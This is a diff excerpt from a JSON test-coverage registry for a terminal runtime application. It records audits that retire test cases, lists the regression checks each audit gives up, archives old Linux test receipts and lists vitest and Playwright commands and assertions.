+        "Terminal/runtime defining-owner cleanup retires complete parking timer, lifecycle, mocked close/disposal and render/flip/mount work-count cases under repository test policy. The retained watcher source has only two literal-oracle coverage decisions; the retained cold-parking hook source has only the layout-PTY exemption invalidation case. Lost alarms include cooldown/measure/pin wakeups, split exit/close attribution and cancellation, watcher disposal/restart, flood timer rearm, worktree verdict damping, and destroyed-transport cold restore. No equivalent replacement coverage or execution pass for the reduced cases is claimed; prior dated receipts retain their original scope.",
+        "Module-layout wave3 intentionally retires complete prohibited owning registrations in src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-byte-watcher.test.ts. Lost alarms: Loss of the OSC title forwarding/order alarm for both pane and tab titles. Loss of the bare Cursor Agent title versus synthetic spinner title/deduplication alarm. Loss of the unread BEL attribution and delayed OS bell notification alarm. Loss of the OSC-terminator BEL exclusion alarm across chunk boundaries. Loss of the working-to-idle prompt-cache and completion-notification alarm. Loss of the same-burst completion-over-bell coalescing alarm. Loss of the resumed-working cancellation of pending completion and cache timer alarm. Loss of the cross-chunk GitHub pull-request discovery and workspace/pane attribution alarm. Loss of the Command Code return-to-done callback wiring alarm; real composer delivery was not established. Loss of the already-in-flight Command Code scrape/return alarm. Loss of the park-time working seed to idle completion alarm. Loss of the no-unobserved-transition completion alarm. Loss of the shutdown cancellation and final-flush attention-suppression alarm. Loss of the sidecar unregistration and pending-bell cancellation alarm. Loss of the same-PTY previous-watcher disposal alarm. Loss of the cold snapshot title restoration without replayed attention alarm. Loss of the stale-derived idle fact state-clear/no-completion alarm. Loss of the fact-consumer disposal and written title-slot clearing alarm. No equivalent replacement coverage or reduced-selector pass is claimed.",
+        "Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands.",
+        "Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims.",
+        "Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical.",
+        "Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed.",
+        "Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed.",
+        "Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed.",
+        "Audit 3318 reduces remote-runtime-pty-transport-unpublished-host-graph.test.ts, retiring its direct published-empty-graph omission-to-pane-exit alarm. The unchanged bounded unpublished-frame/pushed-recovery and stale-handle park/manual-retry cases are narrower, not equivalent replacements. Both complete three-case Linux receipts dated 2026-11-04 are archived as historical, including source heads; they do not validate this reduced selector. Remaining fourteen active receipts are macOS only. No fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed.",
+        "Audit 3318 retires this complete dated three-case Linux unit receipt because remote-runtime-pty-transport-unpublished-host-graph.test.ts was reduced. Original command/currentCommand/result/date/duration/source head/count remain historical and do not validate the reduced selector. Original receipt verbatim:\n{\n          \"date\": \"2026-11-04\",\n          \"runner\": \"local\",\n          \"platform\": \"linux\",\n          \"result\": \"passed\",\n          \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm --config.verifyDepsBeforeRun=false test src/renderer/src/components/terminal-pane/remote-runtime-pty-transport-unpublished-host-graph.test.ts --maxWorkers=2\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts\",\n          \"durationSeconds\": 3.87,\n          \"summary\": \"Test Files  1 passed (1); Tests  3 passed (3). Focused Linux unit execution; no physical-provider, p95 or cross-platform claim. Source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e.\"\n        }",
+        "Audit 3318 retires this complete dated three-case Linux unit receipt because remote-runtime-pty-transport-unpublished-host-graph.test.ts was reduced. Original command/currentCommand/result/date/duration/source head/count remain historical and do not validate the reduced selector. Original receipt verbatim:\n{\n          \"date\": \"2026-11-04\",\n          \"runner\": \"local\",\n          \"platform\": \"linux\",\n          \"result\": \"passed\",\n          \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm --config.verifyDepsBeforeRun=false test src/renderer/src/components/terminal-pane/remote-runtime-pty-transport-unpublished-host-graph.test.ts --maxWorkers=2\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts\",\n          \"durationSeconds\": 3.79,\n          \"summary\": \"Test Files  1 passed (1); Tests  3 passed (3). Focused Linux unit execution; no physical-provider, p95 or cross-platform claim. Source head 415c9cffc2d10024131ec4b6721767a22195de6d.\"\n        }",
+        "Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: restarts only the stream whose renderer delivery credit never settles — An unreturned renderer delivery credit stalls only its stream, leaving healthy sibling/shared transport alive. Fake-clock deadline plus real multiplexer unsubscribe isolates recovery ownership.; probes then restarts a stream when an entered command receives no frames — Entered command produces no output; actual multiplexer must probe then close only its stalled stream after probe timeout. Distinct response liveness from parser credit.; establishes a probe baseline before recovering an unsequenced stream — 142-line manual five-probe baseline/regression sequence derives request IDs from encoded mock traffic and checks repeated no-close/close choreography. Oversized algorithm/state-machine example; no actual renderer/host command or recovery delivery. Retires unsequenced/unchanged/regressed baseline classification alarms.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed.",
+        "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts, src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.",
+        "NEXT46 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts\",\n        \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\",\n        \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec playwright test tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/session-lifecycle/publication/mobile-session-tabs-agent-status-heartbeat.test.ts tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts --maxWorkers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts --maxWorkers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/terminal-multiplex-initial-snapshot-buffering.test.ts src/main/runtime/rpc/terminal-multiplex-snapshot-serialization.test.ts src/main/runtime/rpc/terminal-multiplex-pty-wait-capacity.test.ts src/main/runtime/rpc/terminal-subscribe-buffer.test.ts src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-view-parking.test.ts src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-worktree-retention.test.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/web/web-preload-api-runtime-environment.test.ts src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/session-tabs/runtime-inventory-publication-authority.test.ts src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts --maxWorkers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\n        \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"ORCA_E2E_FORWARD_APP_LOGS=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=10 --max-failures=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_DISABLE_PAIRED_TERMINAL_PARKING=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-parked-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n      ]\ntestFiles: [\n        \"src/main/runtime/session-lifecycle/publication/mobile-session-tabs-agent-status-heartbeat.test.ts\",\n        \"tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts\",\n        \"src/main/runtime/construction/orca-runtime.test.ts\",\n        \"src/renderer/src/web/web-preload-api-runtime-environment.test.ts\",\n        \"src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts\",\n        \"src/main/runtime/rpc/terminal-multiplex-initial-snapshot-buffering.test.ts\",\n        \"src/main/runtime/rpc/terminal-multiplex-snapshot-serialization.test.ts\",\n        \"src/main/runtime/rpc/terminal-multiplex-pty-wait-capacity.test.ts\",\n        \"src/main/runtime/rpc/terminal-subscribe-buffer.test.ts\",\n        \"src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\n        \"src/main/runtime/session-tabs/runtime-inventory-publication-authority.test.ts\",\n        \"src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts\",\n        \"src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts\",\n        \"tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-worktree-retention.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-view-parking.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts\",\n        \"src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts\",\n        \"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts\",\n        \"src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\n        \"tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts\",\n        \"tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts\",\n        \"tests/e2e/paired-remote-terminal-stall-recovery.spec.ts\",\n        \"tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts\",\n        \"tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts\",\n        \"tests/e2e/paired-remote-terminal-retention-memory.spec.ts\",\n        \"tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts\",\n        \"tests/e2e/terminal-parked-memory.spec.ts\",\n        \"tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts\",\n        \"tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts\",\n        \"src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\",\n        \"tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts\",\n          \"assertions\": [\n            \"2,880 decorative spinner and bare-native real-PTY OSC chunks publish zero session-tabs snapshots or serialized bytes after semantic convergence\",\n            \"the viewer performs zero snapshot applies and zero store mutations during decorative activity\",\n            \"after 30 minutes, one globally spaced refresh per worktree keeps every mirrored working status fresh\",\n            \"exact Pi and rotating normalized Pi/Grok frames renew explicit and fallback status without changing stateStartedAt or acknowledgement semantics\",\n            \"matching title evidence renews retained OSC hook status without resetting stateStartedAt, then drops unverifiable prompt metadata after the hook row expires\",\n            \"renderer-authored rich status keeps its original lease, then renews only coarse title-confirmed state and provider identity\",\n            \"ordinary-shell title transitions replace working stateStartedAt with the completion transition time\",\n            \"decorative heartbeats remain blocked until unknown foreground ownership resolves, then resume at the bounded interval\",\n            \"tracked terminal state reset clears delayed foreground ownership markers\",\n            \"raw chunks, semantic idle transitions, and visible output remain exact\"\n          ]\n        },\n        {\n          \"file\": \"src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\n          \"assertions\": [\"retries an existing subscriber when provider inventory becomes ready\"]\n        },\n        {\n          \"file\": \"src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts\",\n          \"assertions\": [\n            \"creation and removal at the census release edge are subsumed once, and a delayed pre-boundary change is not replayed\",\n            \"post-boundary creation and removal replay after the initial snapshot in sequence order\",\n            \"create/remove/recreate transitions are preserved without collapse\",\n            \"a post-boundary projected-state change is delivered without a new snapshot revision\",\n            \"an older coalesced callback cannot overwrite a newer immediate change\",\n            \"initialization churn publishes only the latest projected state and repeated structural overflow fails after bounded recollection\",\n            \"disconnect aborts the census and removes the real runtime listener\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts\",\n          \"assertions\": [\n            \"unpublished empty inventory keeps resume dispatch at zero with the original daemon session, process id, and writer as the sole live writer\",\n            \"an authoritative empty inventory settles the mirror and releases exactly one resume dispatch with zero liveness probes\",\n            \"re-enabling unconditional empty hydration makes the identical oracle red with one resume dispatch, two session ids, two process ids, and two writer calls\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts\",\n          \"assertions\": [\n            \"preserves daemon PID and target PTY identity across the paired host relaunch\",\n            \"foregrounds the daemon-backgrounded target on its first post-relaunch remote observation\",\n            \"delivers target and post-relaunch control terminal input and live output\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts\",\n          \"assertions\": [\"replaces a stale paired stream when the PTY snapshot advanced\"]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-stall-recovery.spec.ts\",\n          \"assertions\": [\n            \"restarts one ACK-starved paired terminal stream without replacing its PTY\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts\",\n          \"assertions\": [\"recovers an ACK-starved stream from an isolated headless Orca host\"]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts\",\n          \"assertions\": [\n            \"a nonempty lossy initial snapshot paints exactly once on a paired client\",\n            \"the authoritative host cursor advances and live output resumes exactly once\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts\",\n          \"assertions\": [\n            \"paints a paired remote terminal when only its retained text tail overflowed\",\n            \"legacy paired hosts retain the lossy hidden-manager budget fallback\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-retention-memory.spec.ts\",\n          \"assertions\": [\n            \"ordinary-parks paired terminals and restores authoritative host scrollback\",\n            \"warm-mounted hidden paired streams schedule zero renderer output work under sustained host output\",\n            \"six hidden real PTYs publish and apply only exact working and idle title transitions across paired transport\",\n            \"client recovery completes while every target terminal remains unmounted in the host renderer\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts\",\n          \"assertions\": [\n            \"ordinary-parks paired terminals against an isolated headless Orca host\",\n            \"cold-activates only visible paired terminals against an isolated headless host\",\n            \"the headless host bounds real-PTY decorative title transport and production store application\",\n            \"the headless host shares the zero-hidden-renderer-work and exact-restoration contract\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/terminal-parked-memory.spec.ts\",\n          \"assertions\": [\n            \"releases un-parkable hidden worktree buffers only once the retention budget engages\"\n          ]\n        },\n        {\n          \"file\": \"src/main/runtime/rpc/terminal-multiplex-pty-wait-capacity.test.ts\",\n          \"assertions\": [\n            \"admits 128 active streams, rejects the 129th, and reuses released capacity\",\n            \"reserves PTY wait capacity independently from active streams\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n          \"assertions\": [\n            \"pauses capable paired output while hidden and restores exactly on reveal\",\n            \"locally gates hidden paired output when a legacy host cannot pause it\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts\",\n          \"assertions\": [\n            \"keeps a mounted HUB mirror alive when the old stream ends before the replacement snapshot\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts\",\n          \"assertions\": [\n            \"keeps the oldest pending delivery deadline anchored while later frames settle\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/web/web-preload-api-runtime-environment.test.ts\",\n          \"assertions\": [\n            \"keeps pairing while manual disconnect fences passive reconnects\",\n            \"returns a disconnect envelope when a queued active runtime call disconnects\",\n            \"returns a disconnect envelope when a queued selected environment call disconnects\"\n          ]\n        }\n      ]",
+        "Audit3342 removes three supplied activation/inventory fallback and same-handle retry examples; their fallback/retry alarms are intentionally lost without equivalent replacement. The exact mounted-HUB pending old-stream-end versus replacement-snapshot registration and its assertion remain. Unrelated dated macOS receipts retain only their original scope; no fresh runtime, provider, performance, mobile, mixed-version or cross-platform validation is claimed."
       ],
       "demotionRule": "Keep experimental or demote to protection none if decorative title frequency changes paired client-event or session-tabs publication volume after convergence, a semantic fact is dropped, paired first paint is blank, passive work reconnects after manual disconnect, a capable hidden paired manager survives ordinary parking, a legacy hidden pane schedules raw xterm output or bypasses its fallback, reveal loses requested bounded history or live PTY identity, retained buffer cells do not fall, or either headed/headless scenario flakes."
     },
@@ -9102,7 +8849,7 @@
       "id": "terminal-observability.lifecycle-breadcrumbs",
       "title": "Terminal lifecycle anomalies enter crash diagnostics as compact breadcrumbs",
       "maturity": "experimental",
-      "protection": "partial",
+      "protection": "none",
       "owner": "terminal-runtime",
       "layer": "renderer-observability",
       "surfaces": [
@@ -9115,38 +8862,19 @@
       ],
       "platforms": ["macos", "linux", "windows"],
       "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"],
-      "coveredPlatforms": ["macos"],
+      "coveredPlatforms": [],
       "coveredProviders": [],
-      "coverageNotes": "Retained renderer unit cases exercise guard release after a silent stalled parse and hardcoded breadcrumb event/pane identity with a fake terminal and mocked recorder. The identity-rich hashing/redaction registration was retired whole. No hashed tab/worktree/leaf identity, path-redaction, diagnostics-bundle export, live provider or packaged runtime coverage is claimed.",
+      "coverageNotes": "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Retained renderer unit cases exercise guard release after a silent stalled parse and hardcoded breadcrumb event/pane identity with a fake terminal and mocked recorder. The identity-rich hashing/redaction registration was retired whole. No hashed tab/worktree/leaf identity, path-redaction, diagnostics-bundle export, live provider or packaged runtime coverage is claimed.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/pull/6800",
         "https://github.com/stablyai/orca/issues/6773"
       ],
       "invariant": "Terminal lifecycle anomalies around reattach, restore, replay wedges, provider ownership, stale liveness, and fallback routing must leave compact, deduped, privacy-safe breadcrumbs in crash diagnostics so future reports can be attributed from evidence. Replay anomalies must distinguish pane managers and PTYs without recording path-bearing worktree or session identities.",
       "oracle": "Simulate replay and probe completions that never arrive, advance fake timers through both quiet windows, and require the real replay guard to transition from engaged to released while the mocked recorder receives terminal_replay_guard_wedged_release with paneId 1. This does not establish correlation hashing, path redaction or diagnostics-bundle export.",
-      "commands": [
-        "ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts --maxWorkers=2"
-      ],
-      "testFiles": ["src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts"],
-      "assertionRefs": [
-        {
-          "file": "src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts",
-          "assertions": [
-            "releases after the probe itself never parses (wedged pipeline) and reports it"
-          ]
-        }
